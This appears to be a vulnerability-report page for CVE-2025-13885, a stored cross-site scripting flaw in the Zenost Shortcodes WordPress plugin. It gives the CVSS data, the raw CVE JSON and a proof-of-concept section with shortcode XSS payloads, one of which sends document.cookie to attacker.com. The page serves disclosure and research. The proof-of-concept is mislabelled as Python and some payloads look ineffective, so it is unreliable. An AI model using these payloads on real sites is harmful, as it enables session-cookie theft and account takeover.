Security Vulnerability Report
中文
CVE-2025-13885 CVSS 6.4 MEDIUM

CVE-2025-13885

Published: 2025-12-12 04:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Zenost Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' and 'target' parameters in the `button` shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Zenost Shortcodes插件 <= 1.0 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Zenost Shortcodes CVE-2025-13885 Stored XSS PoC --> <!-- 攻击者需要具有Contributor或更高权限 --> <!-- 方式1: 利用link参数注入XSS --> [button link='" onmouseover="alert(document.cookie)" style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;opacity:0"']Click Here[/button] <!-- 方式2: 利用target参数注入XSS --> [button link='https://malicious-site.com' target='_blank" onload="alert(String.fromCharCode(88,83,83))']Malicious Button[/button] <!-- 方式3: 构造完整的XSS payload --> [button link='javascript:alert(document.domain)' target='_self']Submit[/button] <!-- 方式4: 利用事件处理器 --> [button link='https://example.com' target='_blank' onclick='fetch("https://attacker.com/steal?c="+document.cookie)']Click Me[/button] <!-- 修复后的安全写法示例 --> [button link='https://legitimate-site.com' target='_blank']Safe Button[/button]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13885", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Zenost Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' and 'target' parameters in the `button` shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/zenost-shortcodes/tags/1.0/inc/shortcodes.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/zenost-shortcodes/trunk/inc/shortcodes.php#L25", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c88d378a-6c58-4670-b0b6-0e0d51c39bd1?source=cve", "source": "[email protected]"}]}}